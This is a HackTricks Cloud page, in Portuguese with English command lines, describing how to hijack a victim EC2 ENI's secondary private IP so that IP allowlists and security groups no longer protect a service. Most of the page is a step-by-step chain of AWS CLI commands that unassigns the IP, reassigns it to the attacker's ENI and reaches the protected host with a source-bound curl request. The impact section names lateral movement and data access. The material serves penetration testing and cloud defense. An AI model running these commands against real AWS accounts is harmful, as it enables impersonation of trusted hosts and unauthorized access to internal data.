AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Abuse ec2:UnassignPrivateIpAddresses e ec2:AssignPrivateIpAddresses para roubar o endereço IP privado secundário de um ENI vítima e movê-lo para um ENI do atacante no mesmo subnet/AZ. Muitos serviços internos e security groups controlam o acesso por endereços IP privados específicos. Ao mover esse endereço secundário, o atacante se faz passar pelo host confiável em L3 e pode alcançar serviços allowlisted.
Pré-requisitos:
- Permissões:
ec2:DescribeNetworkInterfaces,ec2:UnassignPrivateIpAddressesno ARN do ENI da vítima, eec2:AssignPrivateIpAddressesno ARN do ENI do atacante. - Ambos os ENIs devem estar no mesmo subnet/AZ. O endereço alvo deve ser um endereço IP secundário (o primário não pode ser desatribuído).
Variáveis:
- REGION=us-east-1
- VICTIM_ENI=
- ATTACKER_ENI=
- PROTECTED_SG=
# SG em um serviço alvo que permite apenas $HIJACK_IP - PROTECTED_HOST=
Passos:
- Escolha um endereço IP secundário do ENI da vítima
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
- Garanta que o host protegido permita apenas esse IP (idempotente). Se estiver usando regras SG-to-SG, pule.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
- Baseline: a partir da attacker instance, a requisição para PROTECTED_HOST deve falhar sem spoofed source (por exemplo, via SSM/SSH)
curl -sS --max-time 3 http://$PROTECTED_HOST || true
- Desassociar o IP secundário do ENI da vítima
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Atribua o mesmo IP à ENI do atacante (no AWS CLI v1 adicione
--allow-reassignment)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Verificar se a propriedade foi transferida
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
- A partir da attacker instance, faça source-bind para o hijacked IP para alcançar o host protegido (garanta que o IP esteja configurado no SO; se não estiver, adicione-o com
ip addr add $HIJACK_IP/<mask> dev eth0)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
Impacto
- Bypass IP allowlists e impersonate hosts confiáveis dentro da VPC movendo secondary private IPs entre ENIs na mesma subnet/AZ.
- Alcançar serviços internos que controlam o acesso por source IPs específicos, permitindo lateral movement e acesso a dados.
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud